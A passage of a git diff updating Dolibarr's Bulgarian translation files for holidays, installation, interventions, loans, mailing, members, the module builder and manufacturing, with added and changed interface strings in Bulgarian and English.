LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/bg_BG/install.lang b/htdocs/langs/bg_BG/install.lang index d058e9ff73f..2112ce0782c 100644 --- a/htdocs/langs/bg_BG/install.lang +++ b/htdocs/langs/bg_BG/install.lang @@ -51,7 +51,6 @@ DatabaseName=Име на базата данни DatabasePrefix=Префикс на таблицата с база данни DatabasePrefixDescription=Префикс на таблицата с база данни. Ако е празно, по подразбиране ще бъде llx_. AdminLogin=Потребителски акаунт за собственика на базата данни на Dolibarr. -PasswordAgain=Повторете паролата AdminPassword=Парола за собственика на базата данни на Dolibarr. CreateDatabase=Създаване на база данни CreateUser=Създайте потребителски акаунт или предоставете разрешение за потребителски акаунт на базата данни на Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Вече съществува DolibarrAdminLogin=Администратор на Dolibarr AdminLoginAlreadyExists=Администраторският профил ' %s ' за Dolibarr вече съществува. Върнете се обратно, ако искате да създадете друг. FailedToCreateAdminLogin=Неуспешно създаване на администраторски профил за Dolibarr. -WarningRemoveInstallDir=Внимание, от съображения за сигурност, след като инсталирането или приключи актуализацията, трябва да добавите файл с име install.lock в директорията /documents на Dolibarr, за да предотвратите повторното използване на инструментите за инсталиране. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Не е налично за тази PHP инсталация ChoosedMigrateScript=Избран скрипт за миграция DataMigration=Миграция на база данни (данни) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Скриване на недостъпни опции ErrorFoundDuringMigration=По време на процеса на миграция са докладвани грешки, така че следващата стъпка не е възможна. За да игнорирате грешките, може да кликнете тук , но приложението или някои функции може да не работят правилно, докато грешките не бъдат отстранени. YouTryInstallDisabledByDirLock=Приложението се опита да се самоактуализира, но страниците за инсталация / актуализация са били изключени от гледна точка на сигурност (директорията е преименувана с .lock суфикс).
      YouTryInstallDisabledByFileLock=Приложението се опита да се самоактуализира, но страниците за инсталация / актуализация са били изключени от гледна точка на сигурност (от наличието на заключващ файл install.lock в директорията documents на Dolibarr).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Кликнете тук, за да отидете в приложението си ClickOnLinkOrRemoveManualy=Ако актуализацията е в ход, моля изчакайте. Ако не, кликнете върху следната връзка. Ако винаги виждате същата страница, трябва да премахнете / преименувате файла install.lock в директорията Documents. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Заредено FunctionTest=Функционален тест +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/bg_BG/interventions.lang b/htdocs/langs/bg_BG/interventions.lang index f663bbaef23..7f0bc9700d4 100644 --- a/htdocs/langs/bg_BG/interventions.lang +++ b/htdocs/langs/bg_BG/interventions.lang @@ -50,7 +50,7 @@ UseDateWithoutHourOnFichinter=Скриване на часовете и мину InterventionStatistics=Статистика на интервенции NbOfinterventions=Брой интервенции NumberOfInterventionsByMonth=Брой интервенции по месец (по дата на валидиране) -AmountOfInteventionNotIncludedByDefault=Общата продължителност на интервенцията не е включена по подразбиране в печалбата (в повечето случаи за отчитане на времето се използват графиците за отделно време). Добавете опцията PROJECT_INCLUDE_INTERVENTION_AMOUNT_IN_PROFIT със стойност 1 в Начало -> Настройки -> Други настройки, за да я включите. +AmountOfInteventionNotIncludedByDefault=Amount of intervention is not included by default into profit (in most cases, timesheets are used to count time spent). You can use PROJECT_ELEMENTS_FOR_ADD_MARGIN and PROJECT_ELEMENTS_FOR_MINUS_MARGIN option into home-setup-other to complete list of element included into profit. InterId=Идентификатор на интервенция InterRef=Съгласно интервенция № InterDateCreation=Дата на създаване на интервенцията @@ -66,3 +66,7 @@ RepeatableIntervention=Шаблон на интервенция ToCreateAPredefinedIntervention=За да създадете предварително определена или повтаряща се интервенция, създайте интервенция и я превърнете в шаблон за интервенция. ConfirmReopenIntervention=Are you sure you want to open back the intervention %s? GenerateInter=Generate intervention +FichinterNoContractLinked=Intervention %s has been created without a linked contract. +ErrorFicheinterCompanyDoesNotExist=Company does not exist. Intervention has not been created. +NextDateToIntervention=Date for next intervention generation +NoIntervention=No intervention diff --git a/htdocs/langs/bg_BG/loan.lang b/htdocs/langs/bg_BG/loan.lang index ddd96a3d613..e5f041c254b 100644 --- a/htdocs/langs/bg_BG/loan.lang +++ b/htdocs/langs/bg_BG/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=Финансово задължение InterestAmount=Лихва CapitalRemain=Оставащ капитал TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started +CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule # Admin ConfigLoan=Конфигуриране на модула кредити -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Счетоводна сметка за капитал по подразбиране -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Счетоводна сметка за лихва по подразбиране -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Счетоводна сметка за застраховка по подразбиране +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Променяне на финансово задължение diff --git a/htdocs/langs/bg_BG/mailmanspip.lang b/htdocs/langs/bg_BG/mailmanspip.lang index 956b011214e..c3fb569ba5d 100644 --- a/htdocs/langs/bg_BG/mailmanspip.lang +++ b/htdocs/langs/bg_BG/mailmanspip.lang @@ -1,27 +1,27 @@ # Dolibarr language file - Source file is en_US - mailmanspip MailmanSpipSetup=Настройки на модула Mailman и SPIP MailmanTitle=Mailman система за пощенски списък -TestSubscribe=За тестване на абонамента за Mailman списъци -TestUnSubscribe=За тестване на отписването Mailman списъци -MailmanCreationSuccess=Subscription test was executed successfully -MailmanDeletionSuccess=Unsubscription test was executed successfully +TestSubscribe=За да тествате абонирането за Mailman списъци +TestUnSubscribe=За да тествате отписването от Mailman списъци +MailmanCreationSuccess=Тестът за абониране е изпълнен успешно +MailmanDeletionSuccess=Тестът за отписване е изпълнен успешно SynchroMailManEnabled=Ще се извърши актуализация на Mailman -SynchroSpipEnabled=Ще се извърши актуализация на Spip -DescADHERENT_MAILMAN_ADMINPW=Mailman администраторска парола -DescADHERENT_MAILMAN_URL=URL за Mailman абонамент -DescADHERENT_MAILMAN_UNSUB_URL=URL за Mailman прекратяване на абонамент -DescADHERENT_MAILMAN_LISTS=Списък (а) за автоматично надпис на нови членове (разделени със запетая) -SPIPTitle=SPIP система за управление на съдържанието -DescADHERENT_SPIP_SERVEUR=SPIP Сървър -DescADHERENT_SPIP_DB=SPIP име на базата данни -DescADHERENT_SPIP_USER=SPIP база данни потребител -DescADHERENT_SPIP_PASS=SPIP парола за базата данни +SynchroSpipEnabled=Ще се извърши актуализация на SPIP +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman администраторска парола +DescADHERENT_MAILMAN_URL=URL адрес за абониране в Mailman +DescADHERENT_MAILMAN_UNSUB_URL=URL адрес за отписване в Mailman +DescADHERENT_MAILMAN_LISTS=Списък за автоматично вписване на нови членове (разделени със запетая) +SPIPTitle=SPIP система за управление на съдържание +DescADHERENT_SPIP_SERVEUR=SPIP сървър +DescADHERENT_SPIP_DB=SPIP име на база данни +DescADHERENT_SPIP_USER=SPIP потребител на база данни +DescADHERENT_SPIP_PASS=SPIP парола за база данни AddIntoSpip=Добавяне в SPIP AddIntoSpipConfirmation=Сигурни ли сте, че желаете да добавите този член в SPIP? AddIntoSpipError=Неуспешно добавяне на член в SPIP DeleteIntoSpip=Премахване от SPIP DeleteIntoSpipConfirmation=Сигурни ли сте, че желаете да премахнете този член от SPIP? -DeleteIntoSpipError=Неуспешно за подтискане на потребителя от СПИП -SPIPConnectionFailed=Не можете да се свържите с SPIP -SuccessToAddToMailmanList=%s successfully added to mailman list %s or SPIP database -SuccessToRemoveToMailmanList=%s successfully removed from mailman list %s or SPIP database +DeleteIntoSpipError=Неуспешно изтриване на потребител от SPIP +SPIPConnectionFailed=Неуспешно свързване към SPIP +SuccessToAddToMailmanList=%s е успешно добавен към Mailman списъка %s или SPIP базата данни +SuccessToRemoveToMailmanList=%s е успешно премахнат от Mailman списъка %s или SPIP базата данни diff --git a/htdocs/langs/bg_BG/mails.lang b/htdocs/langs/bg_BG/mails.lang index 67941619c02..dda00de8c84 100644 --- a/htdocs/langs/bg_BG/mails.lang +++ b/htdocs/langs/bg_BG/mails.lang @@ -7,10 +7,10 @@ MailCard=Карта MailRecipients=Получатели MailRecipient=Получател MailTitle=Описание -MailFrom=Подател +MailFrom=От MailErrorsTo=Грешки до MailReply=Отговор до -MailTo=Получател (и) +MailTo=За MailToUsers=До потребител (и) MailCC=Копие до MailToCCUsers=Копие до потребител (и) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Контакти с длъжност MailingModuleDescEmailsFromFile=Имейли от файл MailingModuleDescEmailsFromUser=Имейли, въведени от потребител MailingModuleDescDolibarrUsers=Потребители с имейли -MailingModuleDescThirdPartiesByCategories=Контрагенти (с категории) +MailingModuleDescThirdPartiesByCategories=Контрагенти SendingFromWebInterfaceIsNotAllowed=Изпращането от уеб интерфейса не е позволено. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/bg_BG/main.lang b/htdocs/langs/bg_BG/main.lang index 78822836149..46f43ddf58b 100644 --- a/htdocs/langs/bg_BG/main.lang +++ b/htdocs/langs/bg_BG/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=DejaVuSans FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Няма наличен шаблон за този тип им AvailableVariables=Налични променливи за заместване NoTranslation=Няма превод Translation=Превод +Translations=Translations CurrentTimeZone=Времева зона на PHP (сървър) EmptySearchString=Въведете критерии за търсене EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Валидиран Approve=Одобряване Disapprove=Отхвърляне ReOpen=Повторно отваряне +OpenVerb=Активна Upload=Прикачи ToLink=Свържи Select=Изберете @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Няма дефинирана потребителска група Password=Парола -PasswordRetype=Повторете паролата +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Имайте предвид, че много функции / модули са деактивирани в тази демонстрация. +YourUserFile=Your user file Name=Име NameSlashCompany=Име / Фирма Person=Лице @@ -481,6 +490,7 @@ ActionsOnContact=Събития за този контакт / адрес ActionsOnContract=Свързани събития ActionsOnMember=Събития за този член ActionsOnProduct=Събития за този продукт +ActionsOnAsset=Events for this fixed asset NActionsLate=%s закъснели ToDo=За извършване Completed=Завършено @@ -888,6 +898,9 @@ MassFilesArea=Секция с файлове, създадени от масов ShowTempMassFilesArea=Показване на секцията с файлове, създадени от масови действия ConfirmMassDeletion=Потвърждение за масово изтриване ConfirmMassDeletionQuestion=Сигурни ли сте, че искате да изтриете избраните %s записа? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Свързани обекти ClassifyBilled=Класифициране като фактурирано ClassifyUnbilled=Класифициране като нетаксувано @@ -903,8 +916,8 @@ ExportFilteredList=Експортиране на филтрирания спис ExportList=Списък за експортиране ExportOptions=Настройки за експортиране IncludeDocsAlreadyExported=Включените документи са вече експортирани -ExportOfPiecesAlreadyExportedIsEnable=Експортът на вече експортирани части е разрешен -ExportOfPiecesAlreadyExportedIsDisable=Експортът на вече експортирани части е забранен +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Всички експортирани движения бяха записани като експортирани NotAllExportedMovementsCouldBeRecordedAsExported=Не всички експортирани движения могат да бъдат записани като експортирани Miscellaneous=Разни @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Изтегляне DownloadDocument=Изтегляне на документ +DownloadSignedDocument=Download signed document ActualizeCurrency=Актуализиране на валутния курс Fiscalyear=Фискална година ModuleBuilder=Дизайнер за модули и приложения @@ -1046,6 +1060,7 @@ SearchIntoContracts=Договори SearchIntoCustomerShipments=Клиентски пратки SearchIntoExpenseReports=Разходни отчети SearchIntoLeaves=Отпуск +SearchIntoKM=Knowledge base SearchIntoTickets=Тикети SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Плащания към доставчици @@ -1117,6 +1132,7 @@ DeleteFileText=Сигурни ли сте, че искате да изтриет ShowOtherLanguages=Показване на други езици SwitchInEditModeToAddTranslation=Превключете в режим на редактиране, за да добавите преводи за този език. NotUsedForThisCustomer=Не се използва за този клиент +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Amount must be positive ByStatus=By status InformationMessage=Информация @@ -1137,15 +1153,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=На изчакване Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Курс +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1204,21 @@ Terminated=Деактивиран AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Вътрешен потребител +ExternalUser=Външен потребител +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/bg_BG/members.lang b/htdocs/langs/bg_BG/members.lang index 64e685b7522..ed0153e1479 100644 --- a/htdocs/langs/bg_BG/members.lang +++ b/htdocs/langs/bg_BG/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Друг член (име: %s, ErrorUserPermissionAllowsToLinksToItselfOnly=От съображения за сигурност трябва да имате права за променяне на всички потребители, за да може да свържете член с потребител, който не сте вие. SetLinkToUser=Свързване към Dolibarr потребител SetLinkToThirdParty=Свързване към Dolibarr контрагент +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Списък на членове MembersListToValid=Списък на чернови членове (за валидиране) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Нов член @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Типът член не може да бъде изт NewSubscription=Нова вноска NewSubscriptionDesc=Този формуляр позволява да регистрирате вашия абонамент като за нов член на организацията. Ако искате да подновите вашият абонамент (ако вече сте член), моля свържете се вместо това с ръководството на организация, чрез имейл %s. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Продължителност +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Закъснял SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Съдържание на вашата членска карта # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Искаме да ви уведомим, че вашата молба за членство е получена.

      ThisIsContentOfYourMembershipWasValidated=Искаме да ви уведомим, че вашето членство е валидирано със следната информация:

      -ThisIsContentOfYourSubscriptionWasRecorded=Искаме да ви уведомим, че вашият нов абонамент е регистриран.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=Искаме да ви уведомим, че вашият абонамент ще изтече или вече е изтекъл (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Надяваме се, че ще го подновите.

      ThisIsContentOfYourCard=Това е обобщение на информацията, която имаме за вас. Моля, свържете се с нас, ако има нещо некоректно.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Тема на известяващ имейл, получен в случай на автоматично вписване на гост @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Оборот (за фирма) или бюджет (за организация) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Прехвърляне към интегрираната страница за плащане онлайн +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=По произход MembersStatisticsByProperties=Статистика за членове по произход VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/bg_BG/modulebuilder.lang b/htdocs/langs/bg_BG/modulebuilder.lang index e4b8a5eb0eb..8fd5c7b8b54 100644 --- a/htdocs/langs/bg_BG/modulebuilder.lang +++ b/htdocs/langs/bg_BG/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Път, където модулите се генерират / променят (главна директория за външни модули, дефинирани в %s): %s ModuleBuilderDesc3=Намерени генерирани / променяеми модули: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Един модул се открива като 'проме NewModule=Нов модул NewObjectInModulebuilder=Нов обект NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Модулен ключ ObjectKey=Обектен ключ DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Път до zip пакет на модул / приложе PathToModuleDocumentation=Път до файл с документация на модул / приложение (%s) SpaceOrSpecialCharAreNotAllowed=Интервали или специални символи не са разрешени. FileNotYetGenerated=Файлът все още не е генериран +GenerateCode=Generate code RegenerateClassAndSql=Принудително актуализиране на .class и .sql файлове RegenerateMissingFiles=Генериране на липсващи файлове SpecificationFile=Файл с документация LanguageFile=Езиков файл ObjectProperties=Свойства на обект +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Сигурни ли сте, че искате да изтриете свойство %s? Това ще промени кода в PHP класа, но също така ще премахне колоната от дефиниращата таблица на обекта. NotNull=Не нулева NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Измерва се DirScanned=Сканирани директории NoTrigger=Няма тригер NoWidget=Няма джаджа -GoToApiExplorer=API explorer +ApiExplorer=API explorer ListOfMenusEntries=Списък на записи в меню ListOfDictionariesEntries=Списък на записи в речници ListOfPermissionsDefined=Списък на дефинирани права SeeExamples=Вижте примери тук -EnabledDesc=Условие това поле да бъде активно (Примери: 1 или $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing).

      It can be an expression, for example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      ($user->rights->holiday->define_holiday ? 1 : 0) -DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      Currently, known compatibles PDF models are : eratosthene (order), espadon (ship), sponge (invoices), cyan (propal/quotation), cornas (supplier order)

      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty -DisplayOnPdf=Показване в PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Може ли стойността в полето да бъде натрупвана, за да се получи обща в списъка? (Пример: 1 или 0) SearchAllDesc=Използва ли се полето за извършване на търсене, чрез инструмента за бързо търсене? (Пример: 1 или 0) SpecDefDesc=Въведете тук цялата документация, която искате да предоставите с вашия модул и тя все още не е дефинирана в други раздели. Може да използвате .md или по-добрия .asciidoc синтаксис. @@ -130,26 +136,32 @@ UseSpecificEditorURL = Използване на конкретен URL адре UseSpecificFamily = Използване на конкретна фамилия UseSpecificAuthor = Използване на конкретен автор UseSpecificVersion = Използване на конкретна първоначална версия -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Ако маркирате това, ще се генерира код, който да добави поле 'Генериране на документ' върху записа. -ShowOnCombobox=Показване на стойност в комбиниран списък +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Ключ за подсказка CSSClass=CSS for edit/create form CSSViewClass=CSS for read form CSSListClass=CSS for list NotEditable=Непроменяем ForeignKey=Външен ключ -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Ascii към HTML конвертор AsciiToPdfConverter=Ascii към PDF конвертор TableNotEmptyDropCanceled=Table not empty. Drop has been canceled. ModuleBuilderNotAllowed=The module builder is available but not allowed to your user. ImportExportProfiles=Import and export profiles -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/bg_BG/mrp.lang b/htdocs/langs/bg_BG/mrp.lang index 0ff188dba14..040179393b4 100644 --- a/htdocs/langs/bg_BG/mrp.lang +++ b/htdocs/langs/bg_BG/mrp.lang @@ -11,8 +11,8 @@ Bom=Списъци с материали BillOfMaterials=Bill of Materials BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Настройка на модул списъци с материали -ListOfBOMs=Списък на списъци с материали -ListOfManufacturingOrders=Списък на поръчки за производство +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Поръчки за производство NewBOM=New bill of materials ProductBOMHelp=Product to create (or disassemble) with this BOM.
